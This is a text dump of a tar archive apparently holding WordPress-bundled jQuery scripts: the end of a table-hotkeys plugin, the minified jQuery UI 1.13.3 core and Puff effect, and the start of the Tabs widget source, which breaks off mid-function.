i,l,e,f,m,d,k,o,c,h,g,n,j;i=b.class_prefix+b.selected_suffix;l=b.class_prefix+b.destructive_suffix;e=function(r){if(a.table_hotkeys.current_row){a.table_hotkeys.current_row.removeClass(i)}r.addClass(i);r[0].scrollIntoView(false);a.table_hotkeys.current_row=r};f=function(r){if(!d(r)&&a.isFunction(b[r+"_page_link_cb"])){b[r+"_page_link_cb"]()}};m=function(s){var r,t;if(!a.table_hotkeys.current_row){r=h();a.table_hotkeys.current_row=r;return r[0]}t="prev"==s?a.fn.prevAll:a.fn.nextAll;return t.call(a.table_hotkeys.current_row,b.cycle_expr).filter_visible()[0]};d=function(s){var r=m(s);if(!r){return false}e(a(r));return true};k=function(){return d("prev")};o=function(){return d("next")};c=function(){a(b.checkbox_expr,a.table_hotkeys.current_row).each(function(){this.checked=!this.checked})};h=function(){return a(b.cycle_expr,p).filter_visible().eq(b.start_row_index)};g=function(){var r=a(b.cycle_expr,p).filter_visible();return r.eq(r.length-1)};n=function(r){return function(){if(null==a.table_hotkeys.current_row){return false}var s=a(r,a.table_hotkeys.current_row);if(!s.length){return false}if(s.is("."+l)){o()||k()}s.click()}};j=h();if(!j.length){return}if(b.highlight_first){e(j)}else{if(b.highlight_last){e(g())}}a.hotkeys.add(b.prev_key,b.hotkeys_opts,function(){return f("prev")});a.hotkeys.add(b.next_key,b.hotkeys_opts,function(){return f("next")});a.hotkeys.add(b.mark_key,b.hotkeys_opts,c);a.each(q,function(){var s,r;if(a.isFunction(this[1])){s=this[1];r=this[0];a.hotkeys.add(r,b.hotkeys_opts,function(t){return s(t,a.table_hotkeys.current_row)})}else{r=this;a.hotkeys.add(r,b.hotkeys_opts,n("."+b.class_prefix+r))}})};a.table_hotkeys.current_row=null;a.table_hotkeys.defaults={cycle_expr:"tr",class_prefix:"vim-",selected_suffix:"current",destructive_suffix:"destructive",hotkeys_opts:{disableInInput:true,type:"keypress"},checkbox_expr:":checkbox",next_key:"j",prev_key:"k",mark_key:"x",start_row_index:2,highlight_first:false,highlight_last:false,next_page_link_cb:false,prev_page_link_cb:false}})(jQuery); jquery/ui/core.min.js 0000644 00000051730 15111757754 0010573 0 ustar 00 /*! jQuery UI - v1.13.3 - 2024-04-26 * https://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js, effects/effect-clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect-fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect-puff.js, effects/effect-pulsate.js, effects/effect-scale.js, effects/effect-shake.js, effects/effect-size.js, effects/effect-slide.js, effects/effect-transfer.js, focusable.js, form-reset-mixin.js, jquery-patch.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio.js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable.js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, widgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, widgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js * Copyright jQuery Foundation and other contributors; Licensed MIT */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],t):t(jQuery)}(function(x){"use strict";var t,e,i,n,W,C,o,s,r,l,a,h,u;function E(t,e,i){return[parseFloat(t[0])*(a.test(t[0])?e/100:1),parseFloat(t[1])*(a.test(t[1])?i/100:1)]}function L(t,e){return parseInt(x.css(t,e),10)||0}function N(t){return null!=t&&t===t.window}x.ui=x.ui||{},x.ui.version="1.13.3", /*! * jQuery UI :data 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ x.extend(x.expr.pseudos,{data:x.expr.createPseudo?x.expr.createPseudo(function(e){return function(t){return!!x.data(t,e)}}):function(t,e,i){return!!x.data(t,i[3])}}), /*! * jQuery UI Disable Selection 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ x.fn.extend({disableSelection:(t="onselectstart"in document.createElement("div")?"selectstart":"mousedown",function(){return this.on(t+".ui-disableSelection",function(t){t.preventDefault()})}),enableSelection:function(){return this.off(".ui-disableSelection")}}), /*! * jQuery UI Focusable 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ x.ui.focusable=function(t,e){var i,n,o,s=t.nodeName.toLowerCase();return"area"===s?(o=(i=t.parentNode).name,!(!t.href||!o||"map"!==i.nodeName.toLowerCase())&&0<(i=x("img[usemap='#"+o+"']")).length&&i.is(":visible")):(/^(input|select|textarea|button|object)$/.test(s)?(n=!t.disabled)&&(o=x(t).closest("fieldset")[0])&&(n=!o.disabled):n="a"===s&&t.href||e,n&&x(t).is(":visible")&&function(t){var e=t.css("visibility");for(;"inherit"===e;)t=t.parent(),e=t.css("visibility");return"visible"===e}(x(t)))},x.extend(x.expr.pseudos,{focusable:function(t){return x.ui.focusable(t,null!=x.attr(t,"tabindex"))}}),x.fn._form=function(){return"string"==typeof this[0].form?this.closest("form"):x(this[0].form)}, /*! * jQuery UI Form Reset Mixin 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ x.ui.formResetMixin={_formResetHandler:function(){var e=x(this);setTimeout(function(){var t=e.data("ui-form-reset-instances");x.each(t,function(){this.refresh()})})},_bindFormResetHandler:function(){var t;this.form=this.element._form(),this.form.length&&((t=this.form.data("ui-form-reset-instances")||[]).length||this.form.on("reset.ui-form-reset",this._formResetHandler),t.push(this),this.form.data("ui-form-reset-instances",t))},_unbindFormResetHandler:function(){var t;this.form.length&&((t=this.form.data("ui-form-reset-instances")).splice(x.inArray(this,t),1),t.length?this.form.data("ui-form-reset-instances",t):this.form.removeData("ui-form-reset-instances").off("reset.ui-form-reset"))}},x.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase()), /*! * jQuery UI Support for jQuery core 1.8.x and newer 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license * */ x.expr.pseudos||(x.expr.pseudos=x.expr[":"]),x.uniqueSort||(x.uniqueSort=x.unique),x.escapeSelector||(e=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g,i=function(t,e){return e?"\0"===t?"�":t.slice(0,-1)+"\\"+t.charCodeAt(t.length-1).toString(16)+" ":"\\"+t},x.escapeSelector=function(t){return(t+"").replace(e,i)}),x.fn.even&&x.fn.odd||x.fn.extend({even:function(){return this.filter(function(t){return t%2==0})},odd:function(){return this.filter(function(t){return t%2==1})}}), /*! * jQuery UI Keycode 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ x.ui.keyCode={BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38}, /*! * jQuery UI Labels 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ x.fn.labels=function(){var t,e,i;return this.length?this[0].labels&&this[0].labels.length?this.pushStack(this[0].labels):(e=this.eq(0).parents("label"),(t=this.attr("id"))&&(i=(i=this.eq(0).parents().last()).add((i.length?i:this).siblings()),t="label[for='"+x.escapeSelector(t)+"']",e=e.add(i.find(t).addBack(t))),this.pushStack(e)):this.pushStack([])},x.ui.plugin={add:function(t,e,i){var n,o=x.ui[t].prototype;for(n in i)o.plugins[n]=o.plugins[n]||[],o.plugins[n].push([e,i[n]])},call:function(t,e,i,n){var o,s=t.plugins[e];if(s&&(n||t.element[0].parentNode&&11!==t.element[0].parentNode.nodeType))for(o=0;o<s.length;o++)t.options[s[o][0]]&&s[o][1].apply(t.element,i)}}, /*! * jQuery UI Position 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license * * https://api.jqueryui.com/position/ */ W=Math.max,C=Math.abs,o=/left|center|right/,s=/top|center|bottom/,r=/[\+\-]\d+(\.[\d]+)?%?/,l=/^\w+/,a=/%$/,h=x.fn.position,x.position={scrollbarWidth:function(){var t,e,i;return void 0!==n?n:(i=(e=x("<div style='display:block;position:absolute;width:200px;height:200px;overflow:hidden;'><div style='height:300px;width:auto;'></div></div>")).children()[0],x("body").append(e),t=i.offsetWidth,e.css("overflow","scroll"),t===(i=i.offsetWidth)&&(i=e[0].clientWidth),e.remove(),n=t-i)},getScrollInfo:function(t){var e=t.isWindow||t.isDocument?"":t.element.css("overflow-x"),i=t.isWindow||t.isDocument?"":t.element.css("overflow-y"),e="scroll"===e||"auto"===e&&t.width<t.element[0].scrollWidth;return{width:"scroll"===i||"auto"===i&&t.height<t.element[0].scrollHeight?x.position.scrollbarWidth():0,height:e?x.position.scrollbarWidth():0}},getWithinInfo:function(t){var e=x(t||window),i=N(e[0]),n=!!e[0]&&9===e[0].nodeType;return{element:e,isWindow:i,isDocument:n,offset:!i&&!n?x(t).offset():{left:0,top:0},scrollLeft:e.scrollLeft(),scrollTop:e.scrollTop(),width:e.outerWidth(),height:e.outerHeight()}}},x.fn.position=function(f){var c,d,p,g,m,v,y,w,b,_,t,e;return f&&f.of?(v="string"==typeof(f=x.extend({},f)).of?x(document).find(f.of):x(f.of),y=x.position.getWithinInfo(f.within),w=x.position.getScrollInfo(y),b=(f.collision||"flip").split(" "),_={},e=9===(e=(t=v)[0]).nodeType?{width:t.width(),height:t.height(),offset:{top:0,left:0}}:N(e)?{width:t.width(),height:t.height(),offset:{top:t.scrollTop(),left:t.scrollLeft()}}:e.preventDefault?{width:0,height:0,offset:{top:e.pageY,left:e.pageX}}:{width:t.outerWidth(),height:t.outerHeight(),offset:t.offset()},v[0].preventDefault&&(f.at="left top"),d=e.width,p=e.height,m=x.extend({},g=e.offset),x.each(["my","at"],function(){var t,e,i=(f[this]||"").split(" ");(i=1===i.length?o.test(i[0])?i.concat(["center"]):s.test(i[0])?["center"].concat(i):["center","center"]:i)[0]=o.test(i[0])?i[0]:"center",i[1]=s.test(i[1])?i[1]:"center",t=r.exec(i[0]),e=r.exec(i[1]),_[this]=[t?t[0]:0,e?e[0]:0],f[this]=[l.exec(i[0])[0],l.exec(i[1])[0]]}),1===b.length&&(b[1]=b[0]),"right"===f.at[0]?m.left+=d:"center"===f.at[0]&&(m.left+=d/2),"bottom"===f.at[1]?m.top+=p:"center"===f.at[1]&&(m.top+=p/2),c=E(_.at,d,p),m.left+=c[0],m.top+=c[1],this.each(function(){var i,t,r=x(this),l=r.outerWidth(),a=r.outerHeight(),e=L(this,"marginLeft"),n=L(this,"marginTop"),o=l+e+L(this,"marginRight")+w.width,s=a+n+L(this,"marginBottom")+w.height,h=x.extend({},m),u=E(_.my,r.outerWidth(),r.outerHeight());"right"===f.my[0]?h.left-=l:"center"===f.my[0]&&(h.left-=l/2),"bottom"===f.my[1]?h.top-=a:"center"===f.my[1]&&(h.top-=a/2),h.left+=u[0],h.top+=u[1],i={marginLeft:e,marginTop:n},x.each(["left","top"],function(t,e){x.ui.position[b[t]]&&x.ui.position[b[t]][e](h,{targetWidth:d,targetHeight:p,elemWidth:l,elemHeight:a,collisionPosition:i,collisionWidth:o,collisionHeight:s,offset:[c[0]+u[0],c[1]+u[1]],my:f.my,at:f.at,within:y,elem:r})}),f.using&&(t=function(t){var e=g.left-h.left,i=e+d-l,n=g.top-h.top,o=n+p-a,s={target:{element:v,left:g.left,top:g.top,width:d,height:p},element:{element:r,left:h.left,top:h.top,width:l,height:a},horizontal:i<0?"left":0<e?"right":"center",vertical:o<0?"top":0<n?"bottom":"middle"};d<l&&C(e+i)<d&&(s.horizontal="center"),p<a&&C(n+o)<p&&(s.vertical="middle"),W(C(e),C(i))>W(C(n),C(o))?s.important="horizontal":s.important="vertical",f.using.call(this,t,s)}),r.offset(x.extend(h,{using:t}))})):h.apply(this,arguments)},x.ui.position={fit:{left:function(t,e){var i,n=e.within,o=n.isWindow?n.scrollLeft:n.offset.left,n=n.width,s=t.left-e.collisionPosition.marginLeft,r=o-s,l=s+e.collisionWidth-n-o;n<e.collisionWidth?0<r&&l<=0?(i=t.left+r+e.collisionWidth-n-o,t.left+=r-i):t.left=!(0<l&&r<=0)&&l<r?o+n-e.collisionWidth:o:0<r?t.left+=r:0<l?t.left-=l:t.left=W(t.left-s,t.left)},top:function(t,e){var i,n=e.within,n=n.isWindow?n.scrollTop:n.offset.top,o=e.within.height,s=t.top-e.collisionPosition.marginTop,r=n-s,l=s+e.collisionHeight-o-n;o<e.collisionHeight?0<r&&l<=0?(i=t.top+r+e.collisionHeight-o-n,t.top+=r-i):t.top=!(0<l&&r<=0)&&l<r?n+o-e.collisionHeight:n:0<r?t.top+=r:0<l?t.top-=l:t.top=W(t.top-s,t.top)}},flip:{left:function(t,e){var i=e.within,n=i.offset.left+i.scrollLeft,o=i.width,i=i.isWindow?i.scrollLeft:i.offset.left,s=t.left-e.collisionPosition.marginLeft,r=s-i,s=s+e.collisionWidth-o-i,l="left"===e.my[0]?-e.elemWidth:"right"===e.my[0]?e.elemWidth:0,a="left"===e.at[0]?e.targetWidth:"right"===e.at[0]?-e.targetWidth:0,h=-2*e.offset[0];r<0?((o=t.left+l+a+h+e.collisionWidth-o-n)<0||o<C(r))&&(t.left+=l+a+h):0<s&&(0<(n=t.left-e.collisionPosition.marginLeft+l+a+h-i)||C(n)<s)&&(t.left+=l+a+h)},top:function(t,e){var i=e.within,n=i.offset.top+i.scrollTop,o=i.height,i=i.isWindow?i.scrollTop:i.offset.top,s=t.top-e.collisionPosition.marginTop,r=s-i,s=s+e.collisionHeight-o-i,l="top"===e.my[1]?-e.elemHeight:"bottom"===e.my[1]?e.elemHeight:0,a="top"===e.at[1]?e.targetHeight:"bottom"===e.at[1]?-e.targetHeight:0,h=-2*e.offset[1];r<0?((o=t.top+l+a+h+e.collisionHeight-o-n)<0||o<C(r))&&(t.top+=l+a+h):0<s&&(0<(n=t.top-e.collisionPosition.marginTop+l+a+h-i)||C(n)<s)&&(t.top+=l+a+h)}},flipfit:{left:function(){x.ui.position.flip.left.apply(this,arguments),x.ui.position.fit.left.apply(this,arguments)},top:function(){x.ui.position.flip.top.apply(this,arguments),x.ui.position.fit.top.apply(this,arguments)}}},x.ui.safeActiveElement=function(e){var i;try{i=e.activeElement}catch(t){i=e.body}return i=(i=i||e.body).nodeName?i:e.body},x.ui.safeBlur=function(t){t&&"body"!==t.nodeName.toLowerCase()&&x(t).trigger("blur")}, /*! * jQuery UI Scroll Parent 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ x.fn.scrollParent=function(t){var e=this.css("position"),i="absolute"===e,n=t?/(auto|scroll|hidden)/:/(auto|scroll)/,t=this.parents().filter(function(){var t=x(this);return(!i||"static"!==t.css("position"))&&n.test(t.css("overflow")+t.css("overflow-y")+t.css("overflow-x"))}).eq(0);return"fixed"!==e&&t.length?t:x(this[0].ownerDocument||document)}, /*! * jQuery UI Tabbable 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ x.extend(x.expr.pseudos,{tabbable:function(t){var e=x.attr(t,"tabindex"),i=null!=e;return(!i||0<=e)&&x.ui.focusable(t,i)}}), /*! * jQuery UI Unique ID 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ x.fn.extend({uniqueId:(u=0,function(){return this.each(function(){this.id||(this.id="ui-id-"+ ++u)})}),removeUniqueId:function(){return this.each(function(){/^ui-id-\d+$/.test(this.id)&&x(this).removeAttr("id")})}}); /*! * jQuery UI Widget 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ var f,c=0,d=Array.prototype.hasOwnProperty,p=Array.prototype.slice;x.cleanData=(f=x.cleanData,function(t){for(var e,i,n=0;null!=(i=t[n]);n++)(e=x._data(i,"events"))&&e.remove&&x(i).triggerHandler("remove");f(t)}),x.widget=function(t,i,e){var n,o,s,r={},l=t.split(".")[0],a=l+"-"+(t=t.split(".")[1]);return e||(e=i,i=x.Widget),Array.isArray(e)&&(e=x.extend.apply(null,[{}].concat(e))),x.expr.pseudos[a.toLowerCase()]=function(t){return!!x.data(t,a)},x[l]=x[l]||{},n=x[l][t],o=x[l][t]=function(t,e){if(!this||!this._createWidget)return new o(t,e);arguments.length&&this._createWidget(t,e)},x.extend(o,n,{version:e.version,_proto:x.extend({},e),_childConstructors:[]}),(s=new i).options=x.widget.extend({},s.options),x.each(e,function(e,n){function o(){return i.prototype[e].apply(this,arguments)}function s(t){return i.prototype[e].apply(this,t)}r[e]="function"!=typeof n?n:function(){var t,e=this._super,i=this._superApply;return this._super=o,this._superApply=s,t=n.apply(this,arguments),this._super=e,this._superApply=i,t}}),o.prototype=x.widget.extend(s,{widgetEventPrefix:n&&s.widgetEventPrefix||t},r,{constructor:o,namespace:l,widgetName:t,widgetFullName:a}),n?(x.each(n._childConstructors,function(t,e){var i=e.prototype;x.widget(i.namespace+"."+i.widgetName,o,e._proto)}),delete n._childConstructors):i._childConstructors.push(o),x.widget.bridge(t,o),o},x.widget.extend=function(t){for(var e,i,n=p.call(arguments,1),o=0,s=n.length;o<s;o++)for(e in n[o])i=n[o][e],d.call(n[o],e)&&void 0!==i&&(x.isPlainObject(i)?t[e]=x.isPlainObject(t[e])?x.widget.extend({},t[e],i):x.widget.extend({},i):t[e]=i);return t},x.widget.bridge=function(s,e){var r=e.prototype.widgetFullName||s;x.fn[s]=function(i){var t="string"==typeof i,n=p.call(arguments,1),o=this;return t?this.length||"instance"!==i?this.each(function(){var t,e=x.data(this,r);return"instance"===i?(o=e,!1):e?"function"!=typeof e[i]||"_"===i.charAt(0)?x.error("no such method '"+i+"' for "+s+" widget instance"):(t=e[i].apply(e,n))!==e&&void 0!==t?(o=t&&t.jquery?o.pushStack(t.get()):t,!1):void 0:x.error("cannot call methods on "+s+" prior to initialization; attempted to call method '"+i+"'")}):o=void 0:(n.length&&(i=x.widget.extend.apply(null,[i].concat(n))),this.each(function(){var t=x.data(this,r);t?(t.option(i||{}),t._init&&t._init()):x.data(this,r,new e(i,this))})),o}},x.Widget=function(){},x.Widget._childConstructors=[],x.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{classes:{},disabled:!1,create:null},_createWidget:function(t,e){e=x(e||this.defaultElement||this)[0],this.element=x(e),this.uuid=c++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=x(),this.hoverable=x(),this.focusable=x(),this.classesElementLookup={},e!==this&&(x.data(e,this.widgetFullName,this),this._on(!0,this.element,{remove:function(t){t.target===e&&this.destroy()}}),this.document=x(e.style?e.ownerDocument:e.document||e),this.window=x(this.document[0].defaultView||this.document[0].parentWindow)),this.options=x.widget.extend({},this.options,this._getCreateOptions(),t),this._create(),this.options.disabled&&this._setOptionDisabled(this.options.disabled),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:function(){return{}},_getCreateEventData:x.noop,_create:x.noop,_init:x.noop,destroy:function(){var i=this;this._destroy(),x.each(this.classesElementLookup,function(t,e){i._removeClass(e,t)}),this.element.off(this.eventNamespace).removeData(this.widgetFullName),this.widget().off(this.eventNamespace).removeAttr("aria-disabled"),this.bindings.off(this.eventNamespace)},_destroy:x.noop,widget:function(){return this.element},option:function(t,e){var i,n,o,s=t;if(0===arguments.length)return x.widget.extend({},this.options);if("string"==typeof t)if(s={},t=(i=t.split(".")).shift(),i.length){for(n=s[t]=x.widget.extend({},this.options[t]),o=0;o<i.length-1;o++)n[i[o]]=n[i[o]]||{},n=n[i[o]];if(t=i.pop(),1===arguments.length)return void 0===n[t]?null:n[t];n[t]=e}else{if(1===arguments.length)return void 0===this.options[t]?null:this.options[t];s[t]=e}return this._setOptions(s),this},_setOptions:function(t){for(var e in t)this._setOption(e,t[e]);return this},_setOption:function(t,e){return"classes"===t&&this._setOptionClasses(e),this.options[t]=e,"disabled"===t&&this._setOptionDisabled(e),this},_setOptionClasses:function(t){var e,i,n;for(e in t)n=this.classesElementLookup[e],t[e]!==this.options.classes[e]&&n&&n.length&&(i=x(n.get()),this._removeClass(n,e),i.addClass(this._classes({element:i,keys:e,classes:t,add:!0})))},_setOptionDisabled:function(t){this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!!t),t&&(this._removeClass(this.hoverable,null,"ui-state-hover"),this._removeClass(this.focusable,null,"ui-state-focus"))},enable:function(){return this._setOptions({disabled:!1})},disable:function(){return this._setOptions({disabled:!0})},_classes:function(o){var s=[],r=this;function t(t,e){for(var i,n=0;n<t.length;n++)i=r.classesElementLookup[t[n]]||x(),i=o.add?(function(){var i=[];o.element.each(function(t,e){x.map(r.classesElementLookup,function(t){return t}).some(function(t){return t.is(e)})||i.push(e)}),r._on(x(i),{remove:"_untrackClassesElement"})}(),x(x.uniqueSort(i.get().concat(o.element.get())))):x(i.not(o.element).get()),r.classesElementLookup[t[n]]=i,s.push(t[n]),e&&o.classes[t[n]]&&s.push(o.classes[t[n]])}return(o=x.extend({element:this.element,classes:this.options.classes||{}},o)).keys&&t(o.keys.match(/\S+/g)||[],!0),o.extra&&t(o.extra.match(/\S+/g)||[]),s.join(" ")},_untrackClassesElement:function(i){var n=this;x.each(n.classesElementLookup,function(t,e){-1!==x.inArray(i.target,e)&&(n.classesElementLookup[t]=x(e.not(i.target).get()))}),this._off(x(i.target))},_removeClass:function(t,e,i){return this._toggleClass(t,e,i,!1)},_addClass:function(t,e,i){return this._toggleClass(t,e,i,!0)},_toggleClass:function(t,e,i,n){var o="string"==typeof t||null===t,e={extra:o?e:i,keys:o?t:e,element:o?this.element:t,add:n="boolean"==typeof n?n:i};return e.element.toggleClass(this._classes(e),n),this},_on:function(o,s,t){var r,l=this;"boolean"!=typeof o&&(t=s,s=o,o=!1),t?(s=r=x(s),this.bindings=this.bindings.add(s)):(t=s,s=this.element,r=this.widget()),x.each(t,function(t,e){function i(){if(o||!0!==l.options.disabled&&!x(this).hasClass("ui-state-disabled"))return("string"==typeof e?l[e]:e).apply(l,arguments)}"string"!=typeof e&&(i.guid=e.guid=e.guid||i.guid||x.guid++);var t=t.match(/^([\w:-]*)\s*(.*)$/),n=t[1]+l.eventNamespace,t=t[2];t?r.on(n,t,i):s.on(n,i)})},_off:function(t,e){e=(e||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace,t.off(e),this.bindings=x(this.bindings.not(t).get()),this.focusable=x(this.focusable.not(t).get()),this.hoverable=x(this.hoverable.not(t).get())},_delay:function(t,e){var i=this;return setTimeout(function(){return("string"==typeof t?i[t]:t).apply(i,arguments)},e||0)},_hoverable:function(t){this.hoverable=this.hoverable.add(t),this._on(t,{mouseenter:function(t){this._addClass(x(t.currentTarget),null,"ui-state-hover")},mouseleave:function(t){this._removeClass(x(t.currentTarget),null,"ui-state-hover")}})},_focusable:function(t){this.focusable=this.focusable.add(t),this._on(t,{focusin:function(t){this._addClass(x(t.currentTarget),null,"ui-state-focus")},focusout:function(t){this._removeClass(x(t.currentTarget),null,"ui-state-focus")}})},_trigger:function(t,e,i){var n,o,s=this.options[t];if(i=i||{},(e=x.Event(e)).type=(t===this.widgetEventPrefix?t:this.widgetEventPrefix+t).toLowerCase(),e.target=this.element[0],o=e.originalEvent)for(n in o)n in e||(e[n]=o[n]);return this.element.trigger(e,i),!("function"==typeof s&&!1===s.apply(this.element[0],[e].concat(i))||e.isDefaultPrevented())}},x.each({show:"fadeIn",hide:"fadeOut"},function(s,r){x.Widget.prototype["_"+s]=function(e,t,i){var n,o=(t="string"==typeof t?{effect:t}:t)?!0!==t&&"number"!=typeof t&&t.effect||r:s;"number"==typeof(t=t||{})?t={duration:t}:!0===t&&(t={}),n=!x.isEmptyObject(t),t.complete=i,t.delay&&e.delay(t.delay),n&&x.effects&&x.effects.effect[o]?e[s](t):o!==s&&e[o]?e[o](t.duration,t.easing,i):e.queue(function(t){x(this)[s](),i&&i.call(e[0]),t()})}})}); jquery/ui/effect-puff.min.js 0000644 00000000776 15111757754 0012041 0 ustar 00 /*! * jQuery UI Effects Puff 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../version","../effect","./effect-scale"],e):e(jQuery)}(function(t){"use strict";return t.effects.define("puff","hide",function(e,f){e=t.extend(!0,{},e,{fade:!0,percent:parseInt(e.percent,10)||150});t.effects.effect.scale.call(this,e,f)})}); jquery/ui/tabs.js 0000644 00000056160 15111757754 0010014 0 ustar 00 /*! * jQuery UI Tabs 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Tabs //>>group: Widgets //>>description: Transforms a set of container elements into a tab structure. //>>docs: https://api.jqueryui.com/tabs/ //>>demos: https://jqueryui.com/tabs/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/tabs.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../keycode", "../safe-active-element", "../unique-id", "../version", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.widget( "ui.tabs", { version: "1.13.3", delay: 300, options: { active: null, classes: { "ui-tabs": "ui-corner-all", "ui-tabs-nav": "ui-corner-all", "ui-tabs-panel": "ui-corner-bottom", "ui-tabs-tab": "ui-corner-top" }, collapsible: false, event: "click", heightStyle: "content", hide: null, show: null, // Callbacks activate: null, beforeActivate: null, beforeLoad: null, load: null }, _isLocal: ( function() { var rhash = /#.*$/; return function( anchor ) { var anchorUrl, locationUrl; anchorUrl = anchor.href.replace( rhash, "" ); locationUrl = location.href.replace( rhash, "" ); // Decoding may throw an error if the URL isn't UTF-8 (#9518) try { anchorUrl = decodeURIComponent( anchorUrl ); } catch ( error ) {} try { locationUrl = decodeURIComponent( locationUrl ); } catch ( error ) {} return anchor.hash.length > 1 && anchorUrl === locationUrl; }; } )(), _create: function() { var that = this, options = this.options; this.running = false; this._addClass( "ui-tabs", "ui-widget ui-widget-content" ); this._toggleClass( "ui-tabs-collapsible", null, options.collapsible ); this._processTabs(); options.active = this._initialActive(); // Take disabling tabs via class attribute from HTML // into account and update option properly. if ( Array.isArray( options.disabled ) ) { options.disabled = $.uniqueSort( options.disabled.concat( $.map( this.tabs.filter( ".ui-state-disabled" ), function( li ) { return that.tabs.index( li ); } ) ) ).sort(); } // Check for length avoids error when initializing empty list if ( this.options.active !== false && this.anchors.length ) { this.active = this._findActive( options.active ); } else { this.active = $(); } this._refresh(); if ( this.active.length ) { this.load( options.active ); } }, _initialActive: function() { var active = this.options.active, collapsible = this.options.collapsible, locationHash = location.hash.substring( 1 ); if ( active === null ) { // check the fragment identifier in the URL if ( locationHash ) { this.tabs.each( function( i, tab ) { if ( $( tab ).attr( "aria-controls" ) === locationHash ) { active = i; return false; } } ); } // Check for a tab marked active via a class if ( active === null ) { active = this.tabs.index( this.tabs.filter( ".ui-tabs-active" ) ); } // No active tab, set to false if ( active === null || active === -1 ) { active = this.tabs.length ? 0 : false; } } // Handle numbers: negative, out of range if ( active !== false ) { active = this.tabs.index( this.tabs.eq( active ) ); if ( active === -1 ) { active = collapsible ? false : 0; } } // Don't allow collapsible: false and active: false if ( !collapsible && active === false && this.anchors.length ) { active = 0; } return active; }, _getCreateEventData: function() { return { tab: this.active, panel: !this.active.length ? $() : this._getPanelForTab( this.active ) }; }, _tabKeydown: function( event ) { var focusedTab = $( $.ui.safeActiveElement( this.document[ 0 ] ) ).closest( "li" ), selectedIndex = this.tabs.index( focusedTab ), goingForward = true; if ( this._handlePageNav( event ) ) { return; } switch ( event.keyCode ) { case $.ui.keyCode.RIGHT: case $.ui.keyCode.DOWN: selectedIndex++; break; case $.ui.keyCode.UP: case $.ui.keyCode.LEFT: goingForward = false; selectedIndex--; break; case $.ui.keyCode.END: selectedIndex = this.anchors.length - 1; break; case $.ui.keyCode.HOME: selectedIndex = 0; break; case $.ui.keyCode.SPACE: // Activate only, no collapsing event.preventDefault(); clearTimeout( this.activating ); this._activate( selectedIndex ); return; case $.ui.keyCode.ENTER: // Toggle (cancel delayed activation, allow collapsing) event.preventDefault(); clearTimeout( this.activating ); // Determine if we should collapse or activate this._activate( selectedIndex === this.options.active ? false : selectedIndex ); return; default: return; } // Focus the appropriate tab, based on which key was pressed event.preventDefault(); clearTimeout( this.activating ); selectedIndex = this._focusNextTab( selectedIndex, goingForward ); // Navigating with control/command key will prevent automatic activation if ( !event.ctrlKey && !event.metaKey ) { // Update aria-selected immediately so that AT think the tab is already selected. // Otherwise AT may confuse the user by stating that they need to activate the tab, // but the tab will already be activated by the time the announcement finishes. focusedTab.attr( "aria-selected", "false" ); this.tabs.eq( selectedIndex ).attr( "aria-selected", "true" ); this.activating = this._delay( function() { this.option( "active", selectedIndex ); }, this.delay ); } }, _panelKeydown: function( event ) { if ( this._handlePageNav( event ) ) { return; } // Ctrl+up moves focus to the current tab if ( event.ctrlKey && event.keyCode === $.ui.keyCode.UP ) { event.preventDefault(); this.active.trigger( "focus" ); } }, // Alt+page up/down moves focus to the previous/next tab (and activates) _handlePageNav: function( event ) { if ( event.altKey && 